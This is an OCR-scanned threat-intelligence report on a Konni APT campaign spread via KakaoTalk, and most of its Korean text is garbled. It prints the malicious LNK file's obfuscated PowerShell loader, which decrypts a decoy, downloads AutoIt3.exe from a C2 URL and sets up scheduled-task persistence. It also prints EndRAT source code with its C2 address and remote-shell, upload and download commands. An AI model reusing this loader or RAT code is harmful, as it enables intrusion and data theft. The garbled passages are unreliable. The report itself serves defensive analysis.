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1. 7§ 2 (Overview)
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https://www.genians.co.kr/blog/threat_intelligence/kakaotalk

Konni APT’s Documentary-Themed Malware Campaign Analysis Genians
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download

(@ Spear Phishing
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Initial compromise through a spear-phishing attack 1 001
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enabled remote access to the victim’s device.
Autolt3.exe Compiled

Autolt Script
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The threat actor accessed the KakaoTalk PC version on the victim's |
device and used it to deliver a malicious file to another contact.
+ drfeysal com
If the LNK file contained in the compressed archive delivered via the
'.’ messenger is executed on Windows, the system becomes infected.

g

Secondary victims

." (@) Remote command execution
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3. &4 A|L}z| 2 (Attack Scenario)
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3-3. MM A AE 22 2l 2X} &4 (Messenger Abuse & Lateral Propagation)
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3-4. 24 SE Q2F (Attack Flow Summary)

2 342 AAI|ojofd 7[dt =7 A5 ALNK &8t A S Sot F4Mod I E MX|
AYT| EE 2 HE B AFPFIRE PC MM 2182 S8 2xt 2t utd F=Z 0|0{X|= CHEHA|
TAE EJSLC o= oY Zrgol| OX[X| f0 AlE 7|Et EHitE ZEet S8 /I AlLE[2=2
HItE LTt

427


https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-1%5D%20%EC%B9%B4%EC%B9%B4%EC%98%A4%ED%86%A1%EC%9C%BC%EB%A1%9C%20%EC%95%85%EC%84%B1%ED%8C%8C%EC%9D%BC%20%EC%9C%A0%ED%8F%AC%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-1%5D%20%EC%B9%B4%EC%B9%B4%EC%98%A4%ED%86%A1%EC%9C%BC%EB%A1%9C%20%EC%95%85%EC%84%B1%ED%8C%8C%EC%9D%BC%20%EC%9C%A0%ED%8F%AC%20%ED%99%94%EB%A9%B4.png?hsLang=ko

4. AM| 24 (Detailed Analysis)

4-1. LNK 9}AmHel 24
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[Summary]
Size . lou8s46
DateModified © 2026-01-21T17:03:50
IconLocation : .pdf
EnvironmentTarget : %windir%\system32\cmd.exe

[CommandLine]
%windir%\system32\cmd.exe /c C:\Windows\SysWow6Ud\WindowsPowerShell\vl.0\powershell.exe —Command
"$03t13715=0; <#Add-AppProvisionedPackage#>$fdmmv8vr="'1e'+'ng'+'th";<#Add-AppProvisionedPackage#>$jz5Fuu58=
Get—Location;$aay0w527=&(gcm *et—Child*) *.lnk;<#Add—AppProvisionedPackage#>$aay0w527=$aay0w527| {$
_.$fdmmv8vr -eq 0x001DBB82};<#Add-AppProvisionedPackage#>$rlrin5t6=$aay0w5z7;<#Add-AppProvisionedPackage#>$aay
0w5z7=$aayOw5z7|Select-Object —ExpandProperty Name;<#Add-AppProvisionedPackage#>if([string]: :IsNullOrEmpty($aa
yow5z7)) {$03t1371s=1; <#Add-AppProvisionedPackage#>$jz5fuu58=$env: USERPROFILE; <#Add-AppProvisionedPackage#>$jz5
fuy58=$jz5fuu58+'\appdata\local\temp' ;<#Add-AppProvisionedPackage#>$aayOw5z7=Get-ChildItem -Path $jz5f4u58 -Re
curse -Filter *.1lnk| {$_.$fdmmv8vr —eq Ox001DBB82}|ForEach-Object{$_.FullName}|Select—-Object -First
1;<#Add-AppProvisionedPackage#>$rilrin5t6=$aayow5z7}; <#Add-AppProvisionedPackage#>$v7aewl3n=$aay0w5z7[0. . ($aay
ow5z7.$Fdmmv8vr-5)] —join '';$1i3zo2xm=[System.IO0.BinaryReader]::new([System.I0.File]: :open($aayOw5z7,[System.
I0.FileMode]: :Open, [System.I0.FileAccess]: :Read, [System.IO.FileShare]::Read));try{$1li3zo2xm.BaseStrean. (ox
00001892, [System.I0.SeekOrigin]: :Begin);$ctxkg3rl=$1i3zo2xm. (6x001D79FB) ; }finally{$1i3zo2xm.Close()};
$gefdoz13=0; $xp9ygzv2=0; $bbrrov5j=$ctxkg3rl.count; $smlcgwzi="public static class FastXor{public static void Ap
ply(byte[] data, int length){const int s1Size=0x01;for(int k=0;k<length;Kk++){int byRem=k % slSize;byte byTmp=(
byte) (0x3D+byRem) ;data[k]*=byTmp;3}}}';Add-Type $smlcgwzi;[FastXor]: :Apply($ctxkg3rl, $bbrrov5j);[System.IO.Fil
e]::WriteAllBytes($v7aewl3n, $ctxkg3rl);if($03t1371s —eq 1){$jxex8xth=$v7aewl3n}else{$jxex8xth=".\"'+$v7aewl3n};
& $jxex8xth;remove-item —-path $rlrln5t6 —force;$nixpgt3y=" ';Set-Location —-Path $nixpgt3
v; Ul © ' —OutFile ' ASitzal
rt—-Sleep —-Milliseconds 100; SUr 18 =
OutFile ' ':Start-Sleep -Milliseconds 100;$etqa8twx=$nixpgt3y+" ' $uldjvouqu=$nixpgt3y+"
1;$2q208q0d = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1l) -RepetitionInterval (New-Tim
eSpan -Minutes 1) -RepetitionDuration (New-TimeSpan —Days 365);$plv90ruc = New-ScheduledTaskPrincipal -UserId
$env:USERNAME -LogonType Interactive -RunLevel Limited; $tme28nut &(gcm new-sche*TaskAc*) —-Execute $etqa8twx —A
rgument $uldjvOuqw; —Action $tme28n4t —-Trigger $zq208q0d -Principal $plv96ruc -
APDNHFU' -Description 'qNOlbpauDEZGgHXKRtcM'"

<This output was generated using the Genians Security Center LNK Parser.>

[22] 4-1] &M LNK ot L2 o] =&

o cmd.exeE £35l 32H| E PowerShell(SysWOW64)2 AlSH
e PowerShell A3 ZIEJ} X}7| XFAI(LNK)S mH 37| 2 Ald
o LNK Li 50| 71 = ©f|0|E{ 22 (0x1D79FB)S XOR(0x3D) =& 5510 PDF mtl 2 © 2 1
Al5H(Decoy)
o C:\Users\Public\Videos\ 4 Z0i| HZHX|0{(C2) MH{0|A] Lt CI2ZE
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M cmd.exe2} PowerShell
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A7 1 AXME 2O[7 2h=H M,
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= 0| RZEE =H|5tD X[SMHE MY

A
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[IJIO l]

A2 %windir%\system32\cmd.exeE AN EEZ| TOIEZ A|AHEHL|C.

LNK2| Target2 cmd.exeZ2 MA =0 10, QXt0f| = /c S 1}F &7 32I:I| E PowerShell 4 £ QI
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe7} ZZ &t=| 0 USLI|CT.

AL X7 LNKE 2 Z&lst= =7t cmd.exe /c powershell.exe -Command "<2tMd A3 ZIE>"
°4EH =2 PowerShell AT ZIEJ} SA| AHE =2 M= 0] USLICEH SysWOW64 B2 E ALESH=
Mo Af 87 SEMO|L YR =0t SRS 23|52l o =7} 4101 U2 THsA0| UBLIC

gtL|ct. Jeln ot 3

PowerShell AT ZE= A "X}7| AFAI(LNK ZH)'E FH= S| 2E| =S &l
= &gt 5, Length 20| &

7|E o|Edl A= AMEELIEL AT EE= oiXf Z2EHUM *Ink S5
& 45+(0x001DBB82)2t S5t St= 0k ZabL|ct.

Execution & Function Flow
1) cmd.exe /c » SysWOW64 PowerShell (v1.0) -Command

2) Locate self by file size: 0xX1DBB82 bytes
StringData (Name / Arguments / IconLocation) 0x00004C — 0x00157E (size 0x001532) 3) Read bytes: offset 0x1892, length 0x1D79FB

4) Decrypt: XOR key 0x3D (single-byte repeat)
5) Write & open decoy (PDF), then delete LNK
6) Download drop files: Autolt3.exe and APDNHFU.pdf

C2 URL: https://drfeysal.com/wp-admin/maint/treasure/

7) Persistence: Scheduled Task 'APDNHFU'

Trigger: +1 minute, repeat every 1 minute (365 days)

Remaining Data / Tail 0x1D928D - 0x1DBB82 (size 0x0028F5)

Action: Autolt3.exe args: APDNHFU.pdf

" )
Encrypted Decoy Block
Start offset: 0x1892 | Read length: 0xX1D79FB bytes | XOR key: 0x3D
Verified bytes at 0x1892 (file data):

18 6D 79 7B 10 0C 13 08 30 37 18 88 88 88 88 30 37 6C 1D oD 1D
52 5F 57 30 37 01 01 12 69 44 4D 58 12 7E 5C 49 5C 51 52 5A 12
6D 5C 5A 58 4E 1D OF 1D 6D 1D 6F 12 71 5C 53 5A 15 56 52 10 76

6F 14 1D 12 6E 49 4F 48 5E 49 69 4F 58 58 6F 52 52 49 1D 05 04

- _J

[O& 4-2] 2FA LNK oY L2 2=

o, Zoi o2 Tt FHo| Hirof = SYsH
EoiollA 37| R
==
=

O] 2f2 Al LNK mped 57((1,948,546 bytes)2} L X|5t
X ™
F74 "7 EfMHES =St

37|2tH 7| ApAl 2 Fopd 4= QUEL|C 2hek §X
%USERPROFILE%\AppData\Local\Temp 5}2| 2 ZAZ
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LNK X7| Rpil ot = SEoMH, ATHE = oY LNK It = Hio|H 2|2 Eo] LR 2| £F fIX]
HM OIS HOIHE Ot Z el SL|t FHH 22 ot 24 0x1892F E Z 0| 0x1D79FB Ht

o|E= 2laL|Ct.

— = 21k

EXHOZ 7| AEZS 1HIO|E HH=(sISize=0x01)0|2} AFAIAF B E HIO|E0| SYUBHXOR 7|7}
MEE| = Chest arAlolL|C}
-1 o — - O 1k -

2 LNK T ol Af SRt Inkat X 78t BEl 2 SHSO{ZILICH AFBAIF AR 2 248 YRUCHD
=77 BHe 20| 0171M RHELICE

=55 202 PDF 5C{(%PDF)2 Al ZH5H= 2A10|0, LNK LY S0f £7471 "8]7| 2A{(Decoy)"
AetZ giL|ct = A8 Xt= LNKE £& P12

PowerShell 7|HI &£ S Xto| Rzl QU

o7l 2ME A3st Flol= &8 £0(7| #et ™E| &A7F o[ & LTt AT E E = remove-item
-force2 @& LNK ot XX E AM[ELICH O] S22 AFEXt ot 2 Zol2 2l & LNK mf
o[ C{ATNA AFREX[A| BHS 04, AFEALL| AL 2Tt S HE A St= &

2l Al (Anti-Forensics) o & lL|C}.

0| AT EE= &4 AZE C:\Users\Public\Videos\Z HZAEL|C} Public 22 = AFE2XAF ASHS
B2 MT|7} 2R &L DU g EE5H7|0| X 0| E = X[l Ct

I ChE 2[R C2 MHOIM F 7He| ot S LtHafehsL| ot C2 FA = Y E=A 7(Hte|
drfeysal[.Jcom =0 20|09, wp-admin/maint/treasure 4 £ Of2l] F 2| FXtE el E M2 &M, Tt
2L AMO[0= Z2 X[2(100ms)0| & =[0f UZ LT

CH22E AIEEE A HAlS Autoltd.exe2hs 0|22 M4 @ EU M3 140| D, F HiRj=
APDNHFU.pdf 0| 22| EAM A& 2| 2=l Compiled Autolt 2t AT = E mreloelL|Ct

CHRE2E7 24U H SHX= XS5d 2 =EL
AT E = 0f|2F 2+9](Scheduled Task)2 MM5t=0|, E2|H= "§1X A|ZE 7|= 12 S| A|ZE"0|0d,

0% "2 0jct uHE st E = M EL| o,

-

AlSH M S Autolt3.exe2 g@am OIXt2 APDNHFU.pdfZ FEtst= SEfO|DY, Xtd 0|22

o 2 AIEAIZHAILEIE
o, 248 7AI L FILARAE
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ZE[SHH, O] LNK I E2 "AFE X0 A PDF E2ME g0l = AXME 20| SHHM" AN ZE=
PowerShell2 S3lf A7| AHAI(LNK)O| &7 %l PDF 0(77] EME S5 3tol A&ista, SAl0f 2 Lo

MY T 27} DHU S CHR 2 S8 5, 0 A O 12 T SN TESHs SEH/
Zcig ot B2 7p Lt

24 HOIM 8] =0l == XIHS HUAS S=2YSR YN "W 2712 A7) AIS sof
7, LNK LIS 0] 222 24 7|¥Io2 37 20f XORE BojLi= &, 12|01 2% %
2= LNKE ARIsH 5748 & 745Hs MyLct.

215 X Z (1oC) 2™ 0| A = drfeysal[.Jcom C2 & 2, C:\Users\Public\Videos\ o}-.—l 9| Autolt3.exe Z!
APDNHFU.pdf AiAd, 12| 0 APDNHFUZ}= 0| 22| of|oF &t AHA] 0 27 M EHQ1 CHAMRIL|CF

4-2. PDF2 &8t Ol 2x 24

APDNHFU.pdf T}l © S &x}gl 204 gt PDF 2AM 2 20|X|2H AX| HI0|E 2EE B0l5tH "2
M H[O|E{"7t OfL|2} Autolt Hutd AT EE AE|O|LH(ASX A|E) H|O|E{ & Z&tel 2 & nfed= 7
M=o Lot

£5| o] ot 2 ol AL HEE &0 Ot 2}, Y EE (prefix)nt R & E (suffix)oi| 0] Cf| O E
£ =X 2 fldl F0, & AOLKXN BXIE SAl0| LEst=S dA E[0] U}SLIC

M ot S HEX &0 M =I5HH, F4f PDFOM 7|t &= %PDF- ofd A[ZIL[X 7} ot A&
S0l ZAHSHX| G LT il ohed AAEE & 7 Z2H0] AR O] 12 & U= ASCII EXE 2 XY
AN U2, 82 =M AM # =Lt PDF2b= 726t 2[0| Sl= 7219 =Xt HEf LT}

AlX| 2 offset 0XO000EE{ 0x270F77tX| F22+0| 72| M E printable ASCIZ Z{ X 11, O] F22+2
PDF mtd ZHEOIME /0] Y= 2M 2EE SA=|R| oLICH I8 B9IAF BE0IM o] "Yee
Cio| T72 Tt el AN MM NS £7(7] 9/ 13 AWE ABS SYSHLICH

Anti-Malware ZZ2 T 20|Lt Ehe nted EF ZX0] "mt A2 F 2| nF of %] Z"o|Lt "5 7| gt
ool olEe i, A Ho|Z2=2| ALK 7F A|ZE| ZAHSHA| 3}53 SO BX &EE

=

F AQILICE SAl0 AFBAHS DI 0| PDFO|2E 2MZ 2918 JH540| £0tx 1, 2%
S0 AS 0o /R @ 2 = HE{T} SR ZH X Bl 2 SIS BTG BZH0A 23] 0iX|S
OtS % QUL

CHSo R B4 Ho| 2L Tk F7ioiA] BelgL|ct 2 ool Autolt Zutl AS 0N
25| ARt 2X42 01 AUSIEAOS 20| ZAY5HD, 0l 2 B|0|E{7} OfL|2t Autolt AT RIE 2

E[O|{/HIO|E R = H|O[B{7} Z8tE[0 USE LIEHH = et SHYULIEL
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Prefix (AU HEX / ASCII View

UofPrdQh7bNEXKRAd
JKvavgVpXuV5HKuF
X1wl7GincmWQEBmMX
z2hgorzrMlByRv YD
F9lZifoveBgKejqgr
IlzPWEWgsePNWjHp

Ie2HX8fzv(C90elUyR
«HK..1J..L5...H}

<

[12 4-3] PDF EMZ 9I&8t A= L2

AIK| M Z 0| M = offset 0x27200{| A AU3IEA06 A| 1L|X{7} &1 =09, O] K| FE| 0|F 72+
O|Z =7t ofLfet, H|EJH 2l Hio|LH2| H0|E H|S0| &3] &7I5t= HENZ HiZL|CL 5, ord
=

O| "PDF 2M E&"€ B U= AO| OtL|2h, &R 2 o] EX+E FZ0f| Autolt ZIE|O|LHE
ME =4 22 722 dAE o JUSS &E =+ JUSLHEL

[

o| FUE 7I&EL 2 F&-LIHIY

= AEE
== T o
HEH, o= "8t &AL PDF"7t LIS =20 &

—

J2)T HRE o] olofEf(suffix)s T HI SFEULICE THUS| SEHRO|A S CHA| BHH 242
855t R E FetL|CH ot EE 22 =HCI5HH offset 0xX543CAR E{ EOF(0x56AD9)77HX| CFA|
o

= =
- o

printable ASCII 2{F2| F2t2| 2XIE 2 =01 U220, 0= &2l Autolt AHE|[0|H S=E F
<]

L =M Z09| S8 Fxot= Fatet "= 0= H|o|&(ziF)"ol sH e Ct.

Z6+5tH APDNHFU.pdf= PDF Z2H2 785t 2A{7} OfL| 2}, Autolt 2t AT EE H|0|E{E T}
d S0l 57110 2F=2 Ho| EXrE S W oS f{dd AE o[ LTt

Ao HHZE| Y OLE LHE 2= EM H

i
HI
1x
-~ 2
0
_\:'_I
ne
>
)
O
zZ
T
M
o
©
e
rr
to
og
02
i
O
M
MO
x
HU
()

ClZoUe Sof SEE A4 FSE EA5H 20} o2 OfU S ZIYH 2 B 1= EndRAT A o}
MA=9} S5 17} UR|SH HOE SolEYaLch

EndRATE2 Autolt HO{ 2 N| &=l 224 X|0{& et 7
ot Zi|, 214 AL Mo ME 2 X|Hd &H J|s

ere{ ™ USLIC
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-3%5D%20PDF%20%EB%AC%B8%EC%84%9C%EB%A1%9C%20%EC%9C%84%EC%9E%A5%ED%95%9C%20%EC%BD%94%EB%93%9C%20%EB%82%B4%EB%B6%80.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-3%5D%20PDF%20%EB%AC%B8%EC%84%9C%EB%A1%9C%20%EC%9C%84%EC%9E%A5%ED%95%9C%20%EC%BD%94%EB%93%9C%20%EB%82%B4%EB%B6%80.png?hsLang=ko

$0 Tl

HE JA| St S A= EE XMl G4, 2|0 R et 2 B S O E Zetet
SLCh

Al# 2x L EndRat S7 Al

=L,
"Global\B073W15Z-D8QD-87B1-7465-CE77A8819E701"

o EndRat 7|2 MEOIME 2 SAEL B MMTE RXISIES MY RHAS MY
ste TAVH =M OR BIAE|D, 2 ME T SUS WAOE SABILICE
o O] CHE AMO= OIBt =T S22 YIS C2 MMS o= RXI5H| 9|

SF M| L.
EndRat C2 £l X E4

AFEE= A AF TCP 22 S YE5I0{ SIEZEE MHE HES A =2

"185.21.14[.]249" [NL]

o EndRate| CHEZX QI EF & StLt= HTTP ZE(80)E AISSIHME MM HTTP Z2E
22 AM5X| 2t= Custom Socket Protocol T &= QlL|C}.
o 2 MEWMEHTTP 23 3= EXstX| ef20], CHAl Xt 7| of2! FEXt

- A

(Delimiter)7} A2 ElL|C}.

= "endServer9688"
= "endClient9688"

0|2t &2 Delimiter 7|2t HA|X| 2| 24l 2 7| & EndRat HSMA SL5HA =2l ==
EAN GBI OZ, IDS Z0jM HAN Y ERfmloz Q0I= JI5ME =0|7| 9t 22X 2

- — —I—l_
7HE L.

4 A|AH| SE(Beaconing)

C2 AZ0| 9&°tH AT E= 4 AMAE Y2 S JSON HEf 2 74510 WS EL
Ct.

S A= 28 B RAXI7E EndRAT ZHd SAEE #e| 240 S53517] 218 =7|
Beacon Bt 2 HEHELIC). 0|2 A|AHEIE HE O7| JEH 2 MEHFLC

el Az|XKFile Manager) 7| s
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10
HEl
ot

5!

(o]

I

A AAEIO| mtd A|ARIS A0 BEMMSHY| e "ntd 58 =3]" 7|5

ULt

o AlN| M3 X2|= JSON @EH EQ| "command" 7| & 7|&2 2 Switch 27| %[04, o}
EFMO| S St= BH 2 "refresh”, "list", "goUp"2 2 T =0 USL LY.

o AFJEIEQ| Y C|AIfHN FZI0l|= o2 2t ZH0] "refresh" HHO| =3 =™
GETFILELIST()7} &=L |c}.

GETFILELIST() LH 20| AM{ = DriveGetDrive("ALL")E S5l =2lo|E2 2E8 $Zl6t1,
zt =zjo|=of| cislf SCANDIRECTORY()E & &35}0{ ntel/cl|alEiz| 228 UtE T, O]
£ JSONS Z o|FLEls) C22 MLEh|C}.

o H2E Y CREEJ|s

o EndRAT A QM &E5| 2EE = FESF 01 M= 7|50| #£8 E|0f
o DOWNLOADPROCESS() LI 50| A= CHA} T}Ql Z=Xf 0f 2= Sto]
MAX_DOWNLOAD_SIZE(30MB) 0|20l Z{ < Hjo|L{2|= 2lof MA st
o M4 Z2EZ S "FILE_START'Z A|&tS 2|1, oY E2S )
"endClientFile9688"2 S 2 £ Az|= L x=QIL|Ch

o |1
rr

-

i
-|>

"command":"upload" #| 0| A0{| A{ clientPath, fileName Zt& M &St 5, AIX|
Ol A "upLoad_Start:" OFHE EIX[SHH HE2E ZEZ FMEtE= 2AIQIL|CH

4> 19
r> Hu

o
i)
flez

(Remote Command Shell)

|0

| 2l M2 tta StdinWrite/StdoutRead 7|10 OfL|2}, Windows API2| L}O|
(erteFlIe/PeekNamedPipe/ReadFiIe)% 0|25l F+ai= ClE{2iE| & MQlL|C}.
| MM JSONO]| "shellStart" 7|7} =X &t I A|ZHE| 0, "shellStop"0| E0{ 2™

"exitin"E FQIsH S EE SEEHL|CY.

o

(o]

O [H i
- X o px
mﬁ N it

X|=M & H(Persistence)

o X|&Hd2 2 A7 =2 (schtasks)E 0| S| —_rL%d | o ASH, A2 BAT i 2 MY
sli schtasks BE & 7[S¢t 5l @ComSpec /cZ ABlists 2@l Ct
o M AIJREE A| Al O ZE MALES FXI ‘B—iﬂ, H= ATEE H|0[E 2o 24

H Cj0|(garbage)E AFlaH A .au3E MM EHL|C}.

o 1 C}S C:\Users\Public\Videos\ O}2{0i| 2i=l 0|2 2| BATZ AA ST, 7| &= &Hd Abx||
S M EHYS 2 L2 SE8HL|CE F7|= Random(5,10,1)2 2 5~108 HL|0|A Z
HE Lot

4-4.C2 %7} Rl HMAE BN

1%t ATl0{TA BHES S5 2% Aol M8 Y WARHS WA B Lo Z7| 2+ 2 5toy
|
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HE 7|2t St AKX = Z4EE TR dX|E 717125 PCHE S 24E510] FoFotd nfeds 2
B2 REot @Eo| 2ol=[AsL T

S chatof cHot E = &lA] A AL AAER R0l = tte2| oY A ETE AX|E[0] S &
ZF0|A20{, BAXI= K| &M (Persistence) B2 S 2[5l Windows A| 2 = 2 24 (Startup) 3H 2
Agot Aoz BMEUSLICE

S8 d=2S Melet 2o, & 2712| 2t B2 7H7[(LNK) ZHo| Of2H A& = J.E:. 20 SFE
o] QIgie U= =7 =M0| L=l ProgramData 2! Public Z 3}-?—| Z 0| A

<AzHz=Z2O S5 F=>
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
Start_Web.Ink
C:\ProgramData\NuGetPacks\Autolt3.exe mmlib.au3
SVC_Init.Ink

C:\Users\Public\etaxSign\Autolt3.exe cliconfg.au3

ST PHS AIAR 201 A| XS A2 S5 AMYTEIL XISHOE SHSEE s HEHO
X% |7 7I¥ o2 AFBE ULICH

Bt AR T2 O3 Y Q0 S, B WLIAH= EHXIE 3|T/57| 25H ProgramData 3t9| 2 2o
MM EZEOMOE QWS Chhol oY IAUS 2UBY AMED YUCH, HEMOR ChgnH 2
© mUSo| ol sLict

e C:\ProgramData\Casio\autoit.vbs

e C:\ProgramData\Casio\sqlite4.au3
e C:\ProgramData\Casio\svc.exe

e C:\ProgramData\Casio\taskhosts.exe
e C:\ProgramData\Startup\Spoolsv.exe
e C:\ProgramData\remcos\logs.dat

e C:\Program Files\RDP Wrapper

EQo] £ ALE 78 242 /e FEIZ B = =04, Autolt AT EE

OS2 £} oM HOIE Y| 95t
% Ho|ZEE H2e| Mo 2L

= st E|L|C}.

—— =20 k-

’rFl
X
o
0
C
=
o
5
O
0
o
3
01>|m
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File Name Type C2

mmlib.au3 EndRAT 157.180.88[.126 (FI)
cliconfg.au3 RftRAT 96.62.214[.15 (JP)
sqlite4.au3 RemcosRAT 178.16.54[.]208 (NL)

[E 4-1] 2t Autolt AT RIEY S8 2 C2

WSE 37§ DHYUS 2E Autolt ATRIE BHHXH(aud)E AFBSID QOLE B4 ZDH AR A3RE
=

I} 0| oLl 2 IHe =l(Compiled) Autolt A184 TH = Ol =| & LCH,

Compiled Autolt Tt 0| SA4, 212 ASREL A8 THU L 20| 2% £ ASSE HEHZ A
Ae|0f, YErsol ¥ 2Mlo=t AN ASRE 2AS A 2Ol ogsLIC

2t o & uted o H=tst 7 2 ol

JEEE H{ot= X7t 2 et

ClHoto| MESxo 2 f3E AR, 44 Autolt ZE, SIEFLEE EXHE HE, 2IE SAICHA
(C2) & ME, FIIHO|ZEECIREE 23], ZAHAR A L otE| EM 7| S M A QI o
? {2 E HastA 2ME = JUSLICE

M mmlib.au3 Tt 2 EndRAT e HE AFEIEZ ERE[(Q o, D:\3 Attack
Weapon\Autoit\Build\__Poseidon - Manage\client3.3.14.a3x 2At20| Z&t=l Z{0| EIZ| AU SL|

C}.

&l & A 2 = Operation Poseidon 2 0MU|AM ATHE 7| & AE2} RANSE FERE 7HX|LE, 7| &L
"Poseidon - Attack” = 7| Cl{4| "Poseidon - Manage"Z HZA = A0| AlHEIL|C},

= ol HiE JtsdE AlAShs HMZ S E & USLIC

H| = 5} 74 cC

[ e

m]
2HE o

|El
0

Ly

rr

oj

rr
riob
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000290

0002A0

00280

0002C0

000200

P002EQ

P002F0

oea3ea

fea3le

000320

000330 4
P0@34@ 33 S5F 41 74 74 61 63 6B 20 57 65 61 70
00350 41 75 74 6F 69 74 5C 42 75 69 6C 64 5C
00360 6F 73 65 69 64 6F 6E 20 2D 20 4D 61 6E
@0@370 5C 63 6C 69 65 6E 74 33 2E 33 2E 31 34
000380

000390

0003A0

000380

0003C0

eea3sne

0ea3Ead

0ea3Fa

fea408

000410

000420

[12] 4-4] EndRAT 2 2l= &

HU
MO
Pal
ne

24 th4f EndRAT Autolt 232 ol = 2|3 #9|X7} & 0{sHe C2 AMB{9t S4I517| 2/8t L[E2
3MA MBI SIETE =] &L|C}.

ATEHES M i AAUAM C2 MH 2| IP Fo2ot S4 ZEJHAH 22 FHOlE0 /eH, Z
HE A~E2 T HEE 7R E 28 MHIe| HEE A E5ts 72 i 0] JsL T

FE oM = C2 MHE{ AT} 157.180.88[.1262 2 MM Z|0] Qlo0], EAl TE= 44322 X|™E
0 UF LI

UM O 2 443 TEL HTTPS SAI0| AFRE|E BE TE2, 0[2{8l ZES 0|EFO 24 HAH
Ol HTTPS Ecl{{ &l o} FALSH HEHZ 2| &6t0] HER T Eot MH[2| & X|E F|m|sted= Q=7 U
==

EESH AT EN = C2 M2t SAlE Sof 248 A|AEHE FH 22 XM 0{5H7| leh ohst HH
EXtHo| o= /JEL|Ct T E LHO| = cmd, exit, download, upload, listdir, delete, run 52| &

0| Solf ?lel eelxt= HHE AILRM 8 ZF=ZES A™sHAHLE

o

0|9} B WYUS PZEBIHL CHREESHE 7|50] AT, Cl2E2| 222 F8[5t{Lt 1 1}
UL MRS 75 E TR E|0f ULICE

14/27


https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-4%5D%20EndRAT%20%EB%A1%9C%EC%BB%AC%20%EB%B9%8C%EB%93%9C%20%EA%B2%BD%EB%A1%9C%20%EB%AC%B8%EC%9E%90%EC%97%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-4%5D%20EndRAT%20%EB%A1%9C%EC%BB%AC%20%EB%B9%8C%EB%93%9C%20%EA%B2%BD%EB%A1%9C%20%EB%AC%B8%EC%9E%90%EC%97%B4.png?hsLang=ko

d3Fo w2t £F
M X[ HE 2 2 A 0]

$stempname &= Chr(Random(97, 122, 1))

WEnd

$stempname = $sdirectoryname & "\" & $sfileprefix & $stempname & "." & $sfileextension
Until Not FileExists($stempname)

Return $stempname

EndFunc

Global $gsmutex = "Global\78732E15-D8DD-03A1-7464-CE6398819E701"
Global $sserverip = '"157.180.88.26"

Global $iserverport = 443

Global $bisconnected = False

Global $hprocess

Global $cmd_start = "cmd"

Global $cmd_stop = "exit"

Global $cmd_download = "download"

Global $cmd_upload = "upload"

Global $cmd_explorer_list = "listdir"

Global $cmd_delete = "delete"

Global $cmd_execute = "run"

Global $m_bisfilereceived = False

Global $m_badata = "'

Global $m_uploadfilepath = "'

Global $m_strfilename = ''

Global $max_download_size = 30 * 1024 x 1024
Global $buffer_read = 2048

Global $g_hchildstd_in_rd 0

Global $g_hchildstd_in_wr = 0@

Global $g_hchildstd_out_rd = @

Global $g_hchildstd_out wr = @

Global $g_hchildprocess = @

Global $g_hchildthread = @

Global $g_socket = @

Global $hprocess, $soutput

Global $uploadpath = @ScriptDir, $uploadfilename = "1l.rar"
Global $lastruntime = TimerInit()

Func _base64encode($input)
Local $struct = D11StructCreate("byte[" & BinaryLen($input) & "1")

[T12] 4-5] EndRAT C2 AMH{ =4

EndRAT A3 ZE0= 5
of st

Global\78732E15-D8DD-03A1-7464-CE6398819E701 0| £ 2| X Mutex?
LoDy, 0|2 S5 0[0] AE S0 SUBH AT AAABAI} EXYFH=X

o2 10
=0 UZLIC



https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-5%5D%20EndRAT%20C2%20%EC%84%9C%EB%B2%84%20%EC%A3%BC%EC%86%8C.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-5%5D%20EndRAT%20C2%20%EC%84%9C%EB%B2%84%20%EC%A3%BC%EC%86%8C.png?hsLang=ko

O|2{et BHA| 2 StLte| A|ARIOAM T2 S Z2EMATE A™-E= A S HX[SH, HEX el C2
SAE FAISH| fet SH2Z AEE= 27T HaLtt

CI22 2 cliconfg.au3d Tt 2 LI &
EXE =35 7| HE AFRSHo] F

FO px

220 ME

EEE LT
SUsts TEE T 0 UUS

C4 6B 65 W x, offset aMkaihebfjG
C 24 1C cx, [esp+Block]
2 D5 FF FF call sub_5082D90

[byte SOBF36B+ebx+edi]
: edi
32 ED C4 0B 85 sub al, [245336705622444+edx]
7 67 F3 BB 085 w [byte_50BF367+edi], al
cmp edi, esi

jl 85082DF2

I Y ROA S A SR X2l 521 2AHY AIMAS J|FOE 7| B Y| AIHAE ALSHE Tt

Ho| S ELIc

= 0HE 2 x86 OF7|El X 2| div HHOE &850 #RE0f e, RZ QIHEAE 7| ZO|Z Lt
LIHX| ZtE 7| B 2| QIHAZ AISSIE=E MA =0 JUSLICH.

o|2 C|ZE FEOM= TG E EXLS| S HIO|E gls 2Eoh 7|, WA AlLtE 7| BiE | 2t
1} SUB 9IAtS 8lisH= Eralo 2 25312 FIdstn &LCh
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-6%5D%20RftRAT%20C2%20%EB%AC%B8%EC%9E%90%EC%97%B4%20%EB%94%94%EC%BD%94%EB%94%A9%20%EB%A1%9C%EC%A7%81.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%204-6%5D%20RftRAT%20C2%20%EB%AC%B8%EC%9E%90%EC%97%B4%20%EB%94%94%EC%BD%94%EB%94%A9%20%EB%A1%9C%EC%A7%81.png?hsLang=ko

Enc(Byte) Subtraction | Result(Char)

'‘m* (Ox6D, 57 (0x39,
'k' (Ox6B, 54 (0x36,
a' (0x61, u6 (Ox2E,
(0x69, 54 (0x36,
(0x68, 50 (0x32,
(0x65, u6 (Ox2E,
(0x62, 50 (0x32,
(0x66, 49 (0x31,
(Ox6A, 52 (@x34,
96-50 = U6 (Ox2E,

103-50 = 53 (0x35,

[12l 4-7] RRAT C2 C| 2L Z3}

